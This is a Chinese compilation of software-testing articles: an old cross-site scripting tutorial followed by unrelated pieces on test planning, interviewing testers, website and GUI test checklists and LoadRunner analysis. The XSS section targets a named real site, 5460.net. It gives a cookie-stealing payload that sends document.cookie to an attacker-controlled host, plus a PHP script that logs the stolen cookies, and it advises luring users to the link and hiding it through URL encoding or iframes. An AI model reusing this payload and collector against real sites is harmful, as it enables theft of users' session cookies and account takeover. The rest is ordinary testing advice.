由于目前介绍跨站脚本执行漏洞的资料还不是很多，而且一般也不是很详细，所以希望本文能够比较详细的介绍该漏洞。由于时间仓促，水平有限，本文可能有不少错误，希望大家不吝赐教。

　　声明，请不要利用本文介绍的任何内容，代码或方法进行破坏，否则一切后果自负！

　　【漏洞成因】
　　原因很简单，就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。

　　【漏洞形式】
　　这里所说的形式，实际上是指CGI输入的形式，主要分为两种：
　　1．显示输入
　　2．隐式输入
　　其中显示输入明确要求用户输入数据，而隐式输入则本来并不要求用户输入数据，但是用户却可以通过输入数据来进行干涉。
　　显示输入又可以分为两种：
　　1． 输入完成立刻输出结果
　　2． 输入完成先存储在文本文件或数据库中，然后再输出结果
　　注意：后者可能会让你的网站面目全非！：（
　　而隐式输入除了一些正常的情况外，还可以利用服务器或CGI程序处理错误信息的方式来实施。

　　【漏洞危害】
　　大家最关心的大概就要算这个问题了，下面列举的可能并不全面，也不系统，但是我想应该是比较典型的吧。
　　1． 获取其他用户Cookie中的敏感数据
　　2． 屏蔽页面特定信息
　　3． 伪造页面信息
　　4． 拒绝服务攻击
　　5． 突破外网内网不同安全设置
　　6． 与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等
　　7． 其它
　　一般来说，上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞，也就是通过别人的网站达到攻击的效果，也就是说，这种攻击能在一定程度上隐藏身份。

　　【利用方式】
　　下面我们将通过具体例子来演示上面的各种危害，这样应该更能说明问题，而且更易于理解。为了条理更清晰一些，我们将针对每种危害做一个实验。
　　为了做好这些实验，我们需要一个抓包软件，我使用的是Iris，当然你可以选择其它的软件，比如 NetXray什么的。至于具体的使用方法，请参考相关帮助或手册。
　　另外，需要明白的一点就是：只要服务器返回用户提交的信息，就可能存在跨站脚本执行漏洞。
　　好的，一切就绪，我们开始做实验！：）

　　实验一：获取其他用户Cookie中的敏感信息
　　我们以国内著名的同学录站点5460.net为例来说明一下，请按照下面的步骤进行：
　　1． 进入首页http://www.5460.net/
　　2． 输入用户名“<h1>”，提交，发现服务器返回信息中包含了用户提交的“<h1>”。
　　3． 分析抓包数据，得到实际请求：
　　http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
　　4． 构造一个提交，目标是能够显示用户Cookie信息：
　　http://www.5460.net/txl/login/login.pl?username=<scrīpt>alert(document.cookie)</scrīpt>&passwd=&ok.x=28&ok.y=6
　　5． 如果上面的请求获得预期的效果，那么我们就可以尝试下面的请求：
　　http://www.5460.net/txl/login/login.pl?username=<scrīpt>window.open("http://www.notfound.org/info.php?"%2Bdocument.cookie)</scrīpt>&passwd=&ok.x=28&ok.y=6。其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本，功能是获取查询字符串的信息，内容如下：

<?php $info = getenv("QUERY_STRING"); if ($info) { $fp = fopen("info.txt","a"); fwrite($fp,$info."/n"); fclose($fp); } header("Location:http://www.5460.net");

　　注：“%2B”为“+”的URL编码，并且这里只能用“%2B”，因为“+”将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。
　　6． 如果上面的URL能够正确运行的话，下一步就是诱使登陆5460.net的用户访问该URL，而我们就可以获取该用户Cookie中的敏感信息。
　　7． 后面要做什么就由你决定吧！

　　实验二：屏蔽页面特定信息
　　我们仍然以5460.net作为例子，下面是一个有问题的CGI程序：
　　http://www.5460.net/txl/liuyan/liuyanSql.pl
　　该CGI程序接受用户提供的三个变量，即nId，csId和cName，但是没有对用户提交的cName变量进行任何检查，而且该CGI程序把cName的值作为输出页面的一部分，5460.net的用户应该都比较清楚留言右下角有你的名字，对吧？
　　既然有了上面的种种条件，我们可以不妨作出这样的结论：某个用户可以“屏蔽”其两次留言之间的所有留言！
　　当然，我们说的“屏蔽”不是“删除”，用户的留言还是存在的，只不过由于HTML的特性，我们无法从页面看到，当然如果你喜欢查看源代码的话就没有什么用处了，但是除了我们这些研究CGI安全的人来说，有多少人有事没事都看HTML源代码？
　　由于种种原因，我在这里就不公布具体的细节了，大家知道原理就好了。
　　注：仔细想想，我们不仅能屏蔽留言，还能匿名留言，Right？

　　实验三：伪造页面信息
　　如果你理解了上面那个实验，这个实验就没有必要做了，基本原理相同，只是实现起来稍微麻烦一点而已。

　　实验四：拒绝服务攻击
　　现在应该知道，我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器的行为，既然这样，我们就可以控制服务器进行某种消耗资源的动作。比如说运行包含死循环或打开无穷多个窗口的Javascrīpt脚本等等。这样访问该URL的用户系统就可能因此速度变慢甚至崩溃。同样，我们也可能在其中嵌入一些脚本，让该服务器请求其它服务器上的资源，如果访问的资源比较消耗资源，并且访问人数比较多的话，那么被访问的服务器也可能被拒绝服务，而它则认为该拒绝服务攻击是由访问它的服务器发起的，这样就可以隐藏身份。

　　实验五：突破外网内网不同安全设置
　　这个应该很好理解吧，一般来说我们的浏览器对不同的区域设置了不同的安全级别。举例来说，对于Internet区域，可能你不允许Javascrīpt执行，而在Intranet区域，你就允许Javascrīpt执行。一般来说，前者的安全级别都要高于后者。这样，一般情况下别人无法通过执行恶意Javascrīpt脚本对你进行攻击，但是如果与你处于相同内网的服务器存在跨站脚本执行漏洞，那么攻击者就有机可乘了，因为该服务器位于Intranet 区域。

　　实验六：与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等
由于与浏览器相关的漏洞太多了，所以可与跨站脚本执行漏洞一起结合的漏洞也就显得不少。我想这些问题大家都应该很清楚吧，前些时间的修改IE标题漏洞，错误MIME类型执行命令漏洞，还有多种多样的蠕虫，都是很好的例子。
　　更多的例子请参考下列链接： 

Internet Explorer Pop-Up OBJECT Tag Bug http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html Internet Explorer Javascrīpt Modeless Popup Local Denial of Service Vulnerability http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html MSIE6 can read local files http://www.xs4all.nl/~jkuperus/bug.htm MSIE may download and run progams automatically http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html File extensions spoofable in MSIE download dialog http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html the other IE cookie stealing bug (MS01-055) http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html Microsoft Security Bulletin MS01-055 http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html Incorrect MIME Header Can Cause IE to Execute E-mail Attachment http://www.kriptopolis.com/cua/eml.html

　　跨站脚本执行漏洞在这里的角色就是隐藏真正攻击者的身份。

　　实验七：其它
　　其实这类问题和跨站脚本执行漏洞没有多大关系，但是在这里提一下还是很有必要的。问题的实质还是CGI程序没有过滤用户提交的数据，然后进行了输出处理。举个例子来说，支持SSI的服务器上的CGI程序输出了用户提交的数据，无论该数据是采取何种方式输入，都可能导致SSI指令的执行。当然，这是在服务端，而不是客户端执行。其实像ASP，PHP和Perl等CGI语言都可能导致这种问题。

　　【隐藏技巧】
　　出于时间的考虑，我在这里将主要讲一下理论了，相信不是很难懂，如果实在有问题，那么去找本书看吧。
　　1． URL编码
　　比较一下：

http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6 http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y＝6

　　你觉得哪个更有隐蔽性？！

　　2． 隐藏在其它对象之下
　　与直接给别人一个链接相比，你是否决定把该链接隐藏在按钮以下更好些呢？

　　3． 嵌入页面中
　　让别人访问一个地址（注意这里的地址不同于上面提到的URL），是不是又要比让别人按一个按钮容易得多，借助于Iframe，你可以把这种攻击变得更隐蔽。

　　4． 合理利用事件
　　合理使用事件，在某些情况上可以绕过CGI程序对输入的限制，比如说前些日子的SecurityFocus的跨站脚本执行漏洞。

　　【注意事项】
　　一般情况下直接进行类似<scrīpt>alert(document.cookie)</scrīpt>之类的攻击没有什么问题，但是有时CGI程序对用户的输入进行了一些处理，比如说包含在’’或””之内，这时我们就需要使用一些小技巧来绕过这些限制。
　　如果你对HTML语言比较熟悉的话，绕过这些限制应该不成问题。

　　【解决方法】
　　要避免受到跨站脚本执行漏洞的攻击，需要程序员和用户两方面共同努力：
　　程序员：
　　1． 过滤或转换用户提交数据中的HTML代码
　　2． 限制用户提交数据的长度

　　用户：
　　1． 不要轻易访问别人给你的链接
　　2． 禁止浏览器运行Javascrīpt和ActiveX代码

　　附：常见浏览器修改设置的位置为：

Internet Explorer： 工具->Internet选项->安全->Internet->自定义级别 工具->Internet选项->安全->Intranet->自定义级别 Opera： 文件->快速参数->允许使用Java 文件->快速参数->允许使用插件 文件->快速参数->允许使用Javascrīpt

问题：变更的控制

　　测试计划改变了已往根据任务进行测试的方式，因此，为使测试计划得到贯彻和落实，测试组人员必须及时跟踪软件开发的过程，对产品提交测试做准备，测试计划的目的，本身就是强调按规划的测试战略进行测试，淘汰以往以任务为主的临时性。在这种情况下，测试计划中强调对变更的控制显得尤为重要。

　　变更来源于以下几个方面

　　1． 项目计划的变更

　　2． 需求的变更

　　3． 测试产品版本的变更

　　4． 测试资源的变更

　　测试阶段的风险主要是对上述变更所造成的不确定性，有效的应对这些变更就能降低风险发生的几率。要想计划本身不成为空谈和空白无用的纸质文档，对不确定因素的预见和事先防范必须做到心中有数。

问题：人员

     人员的离职，休假等。一定要有候补。

不管你是在组建一个项目组还是在组建一个测试组，你都需要发现你认为能干的测试员是否如你所愿地能干。

        不仅仅要考虑测试，还要考虑这份工作所需要的技能：

        1、选择满足项目的测试技能
        2、适应项目的条件（在项目中改变测试或测试技巧的能力）
        3、在项目过程中评估和报告风险
        4、知道什么时候继续工作，什么时候转移到其他地方
        5、对测试员认为应该在发布前修正的缺陷进行建议修改
        6、编写好的缺陷报告

        这里是一些你可以在判断你的测试应聘者是否适合你的项目组的问题，尤其是应聘者之前没有在与你类似的项目组工作过。

选择测试技术

        “在你最近的项目中，你是如何决定使用某个测试技术的？”（等待这个测试员的回答）“告诉我关于项目的事情，还有你是怎样做出你的决定的。”随后的问题是，“你是否曾经工作在一个项目，在里面你所选择的技术没能帮助你评估产品？为什么？”最后的问题可以是，“你学到了什么技术是可以应用到你的工作中去的？”

适应性

        “你是否碰到过在测试过程中需要改变调整的情况？你是怎样做的？是什么情况导致了要改变？”（确保等待每个问题的回答，清楚地得到每个问题的答案）。

        尤其是当我要招聘的是高级测试员，我需要的是那些碰到问题并且能有效解决问题的人。

风险管理

        “在你最近的项目中出现过什么风险没有？你能否预料到这些风险？你计划了什么风险措施？最近一次感到惊讶的风险是什么？”（在你倾听这些回答时，允许你自己调整问题的顺序，或基于测试员的答案调整问题。）

        风险总是会出现，最好的解决方法是管理并风险提前计划。如果你知道什么是令测试员惊讶的风险，则了解到了他的风险意识的盲点。如果一个测试员很久没有对风险感到惊讶了，我会认为他没有为他所在的团队的成功很好地工作。

改变任务

        “你是如何完成你最近的项目的？你能否完成你要做的所有测试？你怎样权衡这些测试要不要做？是否有中间过渡的交付？他们是什么？”

        我需要知道这个测试员是否考虑了测试产生的各种信息，是否应用什么方法来判断测试的进展情况。我想知道他在什么时候会坚持工作，什么时候会转移到其他工作任务。

促进BUG的修改

        “你是否曾经要求开发人员修改某个缺陷？最近一次是什么时候？你怎样做的？最终发生了什么事情？”

        促进BUG的修改不是一个技术性的问题，但是会对项目造成重大的影响。

编写好的缺陷报告

        我通常不直接问测试员他写缺陷报告的能力如何，我使用审核的方式。在一个正在开发的项目或一个存在缺陷的产品，要求这个测试员用20-30分钟去测试这个产品。给他几张白纸，让他把测试发现的缺陷写在上面。最后我们一起来看缺陷报告，并让这个测试员解释。我会从这些缺陷报告中判断测试员的缺陷报告能力。

        另外，我还会问应聘者快速学习的问题，例如“你是否曾经到了一个项目，里面的人你完全不认识的？你是怎样做的？”如果应聘者没能很快地学习，那么你也不敢确定他是否能很快地学习需要的技能。如果应聘者能很快地在不同的环境学习，则判断那个环境是否与你的项目相近。然后判断这个应聘者是否能适应你的项目。

        这些行为描述（behavīor-descrīption）的问题和审核能帮助你发现一个测试员是否适合你的项目。

        如果你需要的是更好的测试员，则寻找他的类似的经验和跨越学习曲线的能力。确保你了解他之前所在的项目的方方面面，帮助你决定应聘者能否很好地完成相关的工作。

        剔除招聘的风险。把测试和审核加入到你的面试流程中会帮助你构建更好的团队。

测试web页面，经常会发现页面会有跨域的请求、不必要的链接等等。这些链接会降低了脚本执行的效率，即脚本在执行到那个请求的时候需要等待超时时间，而这个请求虽然在这个网站中，但对我们测试并无任何意义，此时就需要对它进行屏蔽。

操作方法：

在运行设置——download filters中进行设置，我们可以ADD一个URL（例如：http：//www,test.com/job），然后选择exclude addresses in list，这样设置完成后，系统在运行的时候就不会下载设置的那个连接了，该设置中还有另外一个选项，是控制只下载的：include only  addresses in list。

 

该选项还可用于调优：比如，系统中有个图片下载速度很慢，我们为了确定是否是他的原因引起的性能问题，我们可以将图片下载屏蔽前和屏蔽后进行对比，这样就可以验证这个问题了。

网站功能测试就是对产品的各功能进行验证，根据功能测试用例，逐项测试，检查产品是否达到用户要求的功能。常用的测试方法如下：

1、页面链接检查： 每一个链接是否都有对应的页面，并且页面之间切换工具，如LinkBotPro、File-AIDCS、HTML Link Validater、Xenu等工具。LinkBotPro不支持中文，中文字符显示为乱码；HTML Link Validater只能测试以Html或者htm结尾的网页链接；Xenu无需安装，支持asp、do、jsp等结尾的网页，同时能够生成html格式的测试报告。

2、相关性检查：删除/增加一项会不会对其他项产生影响，如果产生影响，这些影响是否都正确检查按钮的功能是否正确 如新建、编辑、删除、关闭、返回、保存、导入等功能是否正确。

3、字符类型检查：在应该输入指定类型的内容的地方输入其他类型的内容(如在应该输入整型的地方输入其他字符类型),看系统是否检查字符类型。

1）标点符号检查：输入内容包括各种标点符号,特别是空格,各种引号,回车键。看系统处理是否正确。

2）特殊字符检查：输入特殊符号，如@、#、$、%、!等，看系统处理是否正确。

3)字符串长度检查: 输入超出需求所说明的字符串长度的内容, 看系统是否检查字符串长度。

4、中文字符处理：在可以输入中、英文的系统输入中文,看会否出现乱码或出错。

检查信息的完整性 在查看信息和更新信息时,查看所填写的信息是不是全部更新,更新信息和添加信息是否一致。

5、信息重复：在一些需要命名,且名字应该唯一的信息输入重复的名字或ID,看系统有没有处理,会否报错,重名包括是否区分大小写,以及在输入内容的前后输入空格,系统是否作出正确处理。

6、检查删除功能：在一些可以一次删除多个信息的地方,不选择任何信息,按“delete”,看系统如何处理,会否出错;然后选择一个和多个信息,进行删除,看是否正确处理。

7、检查添加和修改是否一致：检查添加和修改信息的要求是否一致,例如添加要求必填的项,修改也应该必填;添加规定为整型的项,修改也必须为整型

8、检查修改重名：修改时把不能重名的项改为已存在的内容,看会否处理,报错.同时,也要注意,会不会报和自己重名的错

9、重复提交表单：一条已经成功提交的纪录，返回后再提交，看看系统是否做了处理。对于Web系统检查多次使用返回键的情况   在有返回键的地方,返回到原来页面,重复多次，看会否出错

10、搜索检查：有搜索功能的地方输入系统存在和不存在的内容,看搜索结果是否正确.如果可以输入多个搜索条件,可以同时添加合理和不合理的条件,看系统处理是否正确。

11、输入信息位置：注意在光标停留的地方输入信息时,光标和所输入的信息会否跳到别的地方。

12、上传下载文件检查：上传下载文件的功能是否实现，上传文件是否能打开。对上传文件的格式有何规定，系统是否有解释信息，并检查系统是否能够做到。下载文件能否打开或者保存，下载的文件是否有格式要求，如需要特殊工具才可以打开等。

13、必填项检查：应该填写的项没有填写时系统是否都做了处理，对必填项是否有提示信息，如在必填项前加“*”；对必填项提示返回后，焦点是否会自动定位到必填项。

14、快捷键检查：是否支持常用快捷键，如Ctrl+C、 Ctrl+V、 Backspace等，对一些不允许输入信息的字段，如选人，选日期对快捷方式是否也做了限制。

15、回车键检查：在输入结束后直接按回车键,看系统处理如何,会否报错。

16、刷新键检查：在Web系统中，使用浏览器的刷新键，看系统处理如何，会否报错。   

17、回退键检查：在Web系统中，使用浏览器的回退键，看系统处理如何，会否报错。对于需要用户验证的系统，在退出登录后，使用回退键，看系统处理如何；多次使用回退键，多次使用前进键，看系统如何处理。

18、直接URL链接检查：在Web系统中，直接输入各功能页面的URL地址，看系统如何处理，对于需要用户验证的系统更为重要。

19、空格检查：在输入信息项中，输入一个或连串空格，查看系统如何处理。如对于要求输入整型、符点型变量的项中，输入空格，既不是空值，又不是标准输入。

20、输入法半角全角检查：在输入信息项中，输入半角或全角的信息，查看系统如何处理。如对于要求输入符点型数据的项中，输入全角的小数点（“。”或“．”，如４．５）；输入全角的空格等。

21、密码检查：一些系统的加密方法采用对字符Ascii码移位的方式，处理密码加密相对较为简单，且安全性较高，对于局域网系统来说，此种方式完全可以起到加密的作用，但同时，会造成一些问题，即大于128的Ascii对应的字符在解密时无法解析，尝试使用“uvwxyz”等一些码值较大的字符作为密码，同时，密码尽可能的长，如17位密码等，造成加密后的密码出现无法解析的字符。

22、用户检查：任何一个系统，都有各类不同的用户，同样具有一个或多个管理员用户，检查各个管理员之间是否可以相互管理，编辑、删除管理员用户。同时，对于一般用户，尝试删除，并重建同名的用户，检查该用户其它信息是否重现。同样，提供注销功能的系统，此用户再次注册时，是否作为一个新的用户。

23、系统数据检查：这是功能测试最重要的，如果系统数据计算不正确，那么功能测试肯定是通不过的。数据检查根据不同的系统，方法不同。对于业务管理平台，数据随业务过程、状态的变化保持正确，不能因为某个过程出现垃圾数据，也不能因为某个过程而丢失数据。

24、系统可恢复性检查：以各种方式把系统搞瘫，测试系统是否可正常迅速恢复。

图形用户界面（ GUI ）对软件测试提出了有趣的挑战，因为 GUI 开发环境有可复用的构件，开发用户界面更加省时而且更加精确。同时， GUI 的复杂性也增加了，从而加大了设计和执行测试用例的难度。因为现在 GUI 设计和实现有了越来越多的类似，所以也就产生了一系列的测试标准。下列问题可以作为常见 GUI 测试的指南：

窗口：
· 窗口是否基于相关的输入和菜单命令适当地打开？
· 窗口能否改变大小、移动和滚动？
· 窗口中的数据内容能否用鼠标、功能键、方向键和键盘访问？
· 当被覆盖并重新调用后，窗口能否正确地再生？
· 需要时能否使用所有窗口相关的功能？
· 所有窗口相关的功能是可操作的吗？
· 是否有相关的下拉式菜单、工具条、滚动条、对话框、按钮、图标和其他控制可为窗口使用，并适当地显示？
· 显示多个窗口时，窗口的名称是否被适当地表示？
· 活动窗口是否被适当地加亮？
· 如果使用多任务，是否所有的窗口被实时更新？
· 多次或不正确按鼠标是否会导致无法预料的副作用？
· 窗口的声音和颜色提示和窗口的操作顺序是否符合需求？
· 窗口是否正确地被关闭？

下拉式菜单和鼠标操作：
· 菜单条是否显示在合适的语境中？
· 应用程序的菜单条是否显示系统相关的特性（如时钟显示）？
· 下拉式操作能正确工作吗？
· 菜单、调色板和工具条是否工作正确？
· 是否适当地列出了所有的菜单功能和下拉式子功能？
· 是否可以通过鼠标访问所有的菜单功能？
· 文本字体、大小和格式是否正确？
· 是否能够用其他的文本命令激活每个菜单功能？
· 菜单功能是否随当前的窗口操作加亮或变灰？
· 菜单功能是否正确执行？
· 菜单功能的名字是否具有自解释性？
· 菜单项是否有帮助，是否语境相关？
· 在整个交互式语境中，是否可以识别鼠标操作？
· 如果要求多次点击鼠标，是否能够在语境中正确识别？
· 光标、处理指示器和识别指针是否随操作恰当地改变？

数据项：
· 字母数字数据项是否能够正确回显，并输入到系统中？
· 图形模式的数据项（如滚动条）是否正常工作？
· 是否能够识别非法数据？
· 数据输入消息是否可理解？

1. 功能测试

   根据需求说明书进行，不多说了。

2. 性能测试

   使用LR的情况较多。

3. 安全测试

   SQL注入、跨站点脚本攻击、Cookies测试等，还要注意客服端与服务器端内容传输是否安全，是否使用了加密形式进行传输。

4. 界面测试

   界面是否美观，这个目前不知道怎么来衡量，只能凭个人审美观念来了。

   另：在网速不好的情况下，页面会显示什么，图片显示“x”，还是有固定图片替换，原本有图片的链接处，显示的文字是否正确，等等。。。。

5. 兼容性测试

   不同的IE版本，不同的浏览器，甚至安装插件也会有影响。

6. 易用性测试

   也是个目前标准较少的测试。

7. 本地化测试

   这个一般大公司才用，简单的说，就是可以根据机器中的设置自动判断显示的语言。

Transactions（用户事务分析）
　　用户事务分析是站在用户角度进行的基础性能分析。
1、Transation Sunmmary（事务综述）
　　对事务进行综合分析是性能分析的第一步，通过分析测试时间内用户事务的成功与失败情况，可以直接判断出系统是否运行正常。
2、Average Transaciton Response Time（事务平均响应时间）
　　“事务平均响应时间”显示的是测试场景运行期间的每一秒内事务执行所用的平均时间，通过它可以分析测试场景运行期间应用系统的性能走向。
　　例：随着测试时间的变化，系统处理事务的速度开始逐渐变慢，这说明应用系统随着投产时间的变化，整体性能将会有下降的趋势。
3、Transactions per Second（每秒通过事务数/TPS）
　　“每秒通过事务数/TPS”显示在场景运行的每一秒钟，每个事务通过、失败以及停止的数量，使考查系统性能的一个重要参数。通过它可以确定系统在任何给定时刻的时间事务负载。分析TPS主要是看曲线的性能走向。
　　将它与平均事务响应时间进行对比，可以分析事务数目对执行时间的影响。
　　例：当压力加大时，点击率/TPS曲线如果变化缓慢或者有平坦的趋势，很有可能是服务器开始出现瓶颈。
4、Total Transactions per Second（每秒通过事务总数）
　　“每秒通过事务总数”显示在场景运行时，在每一秒内通过的事务总数、失败的事务总署以及停止的事务总数。
5、Transaction Performance Sunmmary（事务性能摘要）
　　“事务性能摘要”显示方案中所有事务的最小、最大和平均执行时间，可以直接判断响应时间是否符合用户的要求。
　　重点关注事务的平均和最大执行时间，如果其范围不在用户可以接受的时间范围内，需要进行原因分析。
6、Transaction Response Time Under Load（事务响应时间与负载）
　　“事务响应时间与负载”是“正在运行的虚拟用户”图和“平均响应事务时间”图的组合，通过它可以看出在任一时间点事务响应时间与用户数目的关系，从而掌握系统在　　用户并发方面的性能数据，为扩展用户系统提供参考。此图可以查看虚拟用户负载对执行时间的总体影响，对分析具有渐变负载的测试场景比较有用。
7、Transaction Response Time(Percentile)（事务响应时间(百分比)）
　　“事务响应时间(百分比)”是根据测试结果进行分析而得到的综合分析图，也就是工具通过一些统计分析方法间接得到的图表。通过它可以分析在给定事务响应时间范围内能执行的事务百分比。
8、Transaction Response Time(Distribution)（事务响应时间(分布)）
　　“事务响应时间(分布)”显示在场景运行过程中，事务执行所用时间的分布，通过它可以了解测试过程中不同响应时间的事务数量。如果系统预先定义了相关事务可以接受的最小和最大事务响应时间，则可以使用此图确定服务器性能是否在可以接受的范围内。
　　Web Resources（Web资源分析）
　　Web资源分析是从服务器入手对Web服务器的性能分析。
1、Hits per Second（每秒点击次数）
　　“每秒点击次数”，即使运行场景过程中虚拟用户每秒向Web服务器提交的HTTP请求数。
　　通过它可以评估虚拟用户产生的负载量，如将其和“平均事务响应时间”图比较，可以查看点击次数对事务性能产生的影响。通过对查看“每秒点击次数”，可以判断系统是否稳定。系统点击率下降通常表明服务器的响应速度在变慢，需进一步分析，发现系统瓶颈所在。
2、Throughput（吞吐率）
　　“吞吐率”显示的是场景运行过程中服务器的每秒的吞吐量。其度量单位是字节，表示虚拟用在任何给定的每一秒从服务器获得的数据量。
　　可以依据服务器的吞吐量来评估虚拟用户产生的负载量，以及看出服务器在流量方面的处理能力以及是否存在瓶颈。
　　“吞吐率”图和“点击率”图的区别：
　　“吞吐率”图，是每秒服务器处理的HTTP申请数。
　　“点击率”图，是客户端每秒从服务器获得的总数据量。
3、HTTP Status Code Summary（HTTP状态代码概要）
　　“HTTP状态代码概要”显示场景或会话步骤过程中从Web服务器返回的HTTP状态代码数，该图按照代码分组。HTTP状态代码表示HTTP请求的状态。
4、HTTP Responses per Second（每秒HTTP响应数）
　　“每秒HTTP响应数”是显示运行场景过程中每秒从Web服务器返回的不同HTTP状态代码的数量，还能返回其它各类状态码的信息，通过分析状态码，可以判断服务器在压力下的运行情况，也可以通过对图中显示的结果进行分组，进而定位生成错误的代码脚本。
5、Pages Downloader per Second（每秒下载页面数）
　　“每秒下载页面数”显示场景或会话步骤运行的每一秒内从服务器下载的网页数。使用此图可依据下载的页数来计算Vuser生成的负载量。
　　和吞吐量图一样，每秒下载页面数图标是Vuser在给定的任一秒内从服务器接收到的数据量。但是吞吐量考虑的各个资源极其大小（例，每个GIF文件的大小、每个网页的大小）。而每秒下载页面数只考虑页面数。
　　注：要查看每秒下载页数图，必须在R-T-S那里设置“每秒页面数(仅HTML模式)”。
6、Retries per Second（每秒重试次数）
　　“每秒重试次数”显示场景或会话步骤运行的每一秒内服务器尝试的连接次数。
　　在下列情况将重试服务器连接：
　　A、初始连接未经授权
　　B、要求代理服务器身份验证
　　C、服务器关闭了初始连接
　　D、初始连接无法连接到服务器
　　E、服务器最初无法解析负载生成器的IP地址
7、Retries Summary（重试次数概要）
　　“重试次数概要”显示场景或会话步骤运行过程中服务器尝试的连接次数，它按照重试原因分组。将此图与每秒重试次数图一起使用可以确定场景或会话步骤运行过程中服务器在哪个时间点进行了重试。
8、Connections（连接数）
　　“连接数”显示场景或会话步骤运行过程中每个时间点打开的TCP/IP连接数。
　　借助此图，可以知道何时需要添加其他连接。
　　例：当连接数到达稳定状态而事务响应时间迅速增大时，添加连接可以使性能得到极大提高（事务响应时间将降低）。
9、Connections Per Second（每秒连接数）
　　“每秒连接数”显示方案在运行过程中每秒建立的TCP/IP连接数。
　　理想情况下，很多HTTP请求都应该使用同一连接，而不是每个请求都新打开一个连接。通过每秒连接数图可以看出服务器的处理情况，就表明服务器的性能在逐渐下降。
10、SSLs Per Second（每秒SSL连接数）
　　“每秒SSL连接数”显示场景或会话步骤运行的每一秒内打开的新的以及重新使用的SSL连接数。当对安全服务器打开TCP/IP连接后，浏览器将打开SSL连接。
　　Web Page Breakdown（网页元素细分）
　　“网页元素细分”主要用来评估页面内容是否影响事务的响应时间，通过它可以深入地分析网站上那些下载很慢的图形或中断的连接等有问题的
元素。
1、Web Page Breakdown（页面分解总图）
　　“页面分解”显示某一具体事务在测试过程的响应情况，进而分析相关的事务运行是否正常。
　　“页面分解”图可以按下面四种方式进行进一步细分：
1)、Download Time Breaddown（下载时间细分）
　　“下载时间细分”图显示网页中不同元素的下载时间，同时还可按照下载过程把时间进行分解，用不同的颜色来显示DNS解析时间、建立连接时间、第一次缓冲时间等各自所占比例。
2)、Component Breakdown(Over Time)（组件细分(随时间变化)）
　　“组件细分”图显示选定网页的页面组件随时间变化的细分图。通过该图可以很容易的看出哪些元素在测试过程中下载时间不稳定。该图特别适用于需要在客户端下载控件较多的页面，通过分析控件的响应时间，很容易就能发现那些控件不稳定或者比较耗时。

在本次性能测试的过程中，我们遇到一些问题，通过解决这些问题，从中获得了一些经验。现总结如下：

1、问题一在我们对系统进行测试的过程中，某些操作是相关联的。例如我们测试“查看客户资产历史”这个交易的系统响应时间，这时需要先列出客户的基本信息，选中一个客户，点击打开另一个页面，才能查看到该客户的资产历史信息，同时，在测试脚本中需要对所选择的客户编号做一个参数化，但由于LoadRunner不提供像WinRunner或QTP一样识别页面对象的功能，如果在Vugen中直接抓取页面上显示的客户编号去参数化，实现起来将十分烦琐。考虑到在以上那两步操作中，第一步“列出客户基本信息”只是辅助的操作，而第二步操作“查看客户资产历史”才是我们要测试的功能点，因此我们忽略了这二者之间的关联性，仅对第二步操作中的客户编号进行参数化。（只要服务器端对此不加验证，甚至我们将第一步操作都忽略掉，也是可行的）。

结论：LoadRunner的工作原理是根据所选择的协议组装成相应的报文在前后台之间通讯，以此达到模拟实际操作的目的，因此我们只需将要测试的交易或功能点所需要组装的报文传送给后台服务器即可（因为我们关注的只是系统的性能，不是功能），而不必像功能测试那样，按部就班地重现每一步操作。

 

2、问题二在测试过程中，我们发现有一个查询交易的系统响应速度特别慢，无论是在Controller中使用单个虚拟用户执行脚本，还是在Vuser中直接运行，情况均是如此，然而当我们用手工进行同样操作的时候，响应时间却明显地小于工具统计出来的时间，也就是说，在LoadRunner中模拟操作的结果与真实操作的结果明显不一致。经过反复尝试与观察，我们才终于找到问题的原因所在：该查询交易是通过客户的证件号码查询客户信息，当用户输入客户的证件号码时，如果没有选择证件类型，系统会自动将证件类型设置为默认值“身份证”。按“证件类型+证件号码”为组合索引查询客户信息表，查询速度极快，而在我们录制脚本时，忽视了“证件类型”这项输入，只有“证件号码”，因此查询的效率大为降低。

解决办法：只需在测试脚本中，对CertType（“证件类型”）一项赋值为“A”（“身份证”），此时在LoadRunner中重新运行该脚本，响应速度提高，统计结果与实际完全一致！结论：LoadRunner的工作原理是根据所选择的协议组装成相应的报文在前后台之间通讯，以此达到模拟实际操作的目的，因此我们在测试脚本中组装发送到服务器端的报文时，注意一定要和实际操作时的发送报文完全一致，这样才能保证测试的结果与真实情况相吻合。

总结：这就要求在测试正式开始执行时，要对测试脚本进行反复的调试，通常的做法是：在Vugen中执行一遍脚本，统计执行某个事务的时间，再用手工实际做一遍同样的操作，大体上比较一下，确保与实际估算的时间没有太大出入后，再逐渐增加并发用户数，正式开始性能测试。

 

3、问题三在我们的每个测试脚本中的init部分，都录制了登录系统的操作，并且对登录的用户名进行了参数化，使用各种不同身份的用户（分行主管、支行主管、客户经理等）进行相同的操作。在并发测试过程中发现对某些查询交易测试的结果波动较大，系统响应时间从零点几秒到几十秒不等。经检查后发现原因在于：使用不同身份的用户登录系统后，在输入查询条件后，点击查询按钮后会将根据该用户的身份，将其所属的分行机构号、支行机构号、客户经理编号等一并提交，因此在脚本中，就必须根据不同的用户身份，分别将其对应的分支行机构号等也运用参数提交，否则在执行脚本时就会出现查询不到记录或查询速度变慢等各种问题。

解决方法有三个：1、修改脚本，使其能够依据用户的身份分别传送相应参数，2、针对不同类型的用户使用不同的脚本分别测试。3、输入参数使用统一的用户类型。在实际中，我们为了简化脚本的复杂度，节省对脚本编程的时间，采取的是第三种方法。

